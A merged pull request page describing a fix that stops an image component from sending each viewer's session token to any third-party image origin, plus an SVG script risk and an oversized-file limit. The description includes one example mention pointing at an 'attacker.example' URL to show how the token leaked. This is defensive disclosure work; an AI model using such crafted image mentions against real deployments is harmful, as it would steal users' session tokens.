Repository navigation
fix(attachments): keep the Host token on the Host's origin - #178
Merged
Merged
Conversation
HostImage attached the Host bearer token to every http(s) image URL. An image mention such as `@https://attacker.example/x.png` passes through resolveAttachmentImageSrc unchanged, so rendering it sent each viewer's session token to that origin. On hosted web the session token lives in workspace.authToken, so every viewer was affected, including admins opening shared Sessions. - Fetch with the token only when the image URL has the same origin as the attachment base URL. Other origins keep the plain request. - Turn only raster responses into blob URLs. A blob URL shares the app origin, and an SVG opened from one would run script there. - /api/fs/file refuses files over 25 MB with 413 instead of reading them into memory on every transcript render. Co-Authored-By: Claude Opus 5.5 <[email protected]>
Merged
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Since #174 (in 0.7.2 and 0.7.3),
HostImageattaches the Host bearer token to everyhttp(s)image URL it fetches. It does not check that the URL belongs to the Host.Image mentions are not limited to Host paths:
@https://example.com/x.pngmatches the mention pattern, andresolveAttachmentImageSrcpasseshttp(s)URLs through unchanged. On hosted web, the login session token isworkspace.authToken, soattachmentAuthTokenis always set. Rendering such a mention therefore sends the viewer's session token to that third-party origin, without a click. This also affects the owner or admin when they open a shared Session.Two smaller issues on the same path:
/api/fs/filedoes not carry over. An SVG opened from it ("Open image in new tab") runs script on the app origin./api/fs/filereads the whole file into memory. The transcript requests every referenced image on render.Change
isAttachmentHostUrl(src, baseUrl)(src/lib/attachment-src.ts): true only when the image URL has the samehttp(s)origin asattachmentBaseUrl.HostImagefetches with the token only in that case. Every other URL keeps the plain<img>request, as before feat(transcript): show Host image files referenced in assistant replies #174, without a credential.HostImagecreates blob URLs only for png, jpeg, gif, webp, avif and bmp. Anything else (including SVG andtext/html) shows the existing "Image unavailable" placeholder. SVG on Desktop Local and cookie Hosts is unchanged: those use plain<img>, and opening the file directly keeps the sandbox CSP./api/fs/fileanswers413for files over 25 MB (MAX_FILE_PREVIEW_BYTES) before reading them. This route only serves attachment previews.Tests
HostImage.test.tsxhttpinstead ofhttps, and another port.masterand pass with this change.attachment-src.test.ts: origin helper with blob, relative, null and invalid base URLs.path-enforcement.routes.test.ts: a sparse file just over the limit returns 413; one exactly at the limit returns 200.Results:
pnpm run checkandpnpm run slop-checkpass.pnpm run test: 1,628 tests pass.For review
http(s)image mentions should render at all. They would still reveal the viewer's IP (as before feat(transcript): show Host image files referenced in assistant replies #174). This PR leaves that unchanged; blocking them like markdown remote images would be a small follow-up.🤖 Generated with Claude Code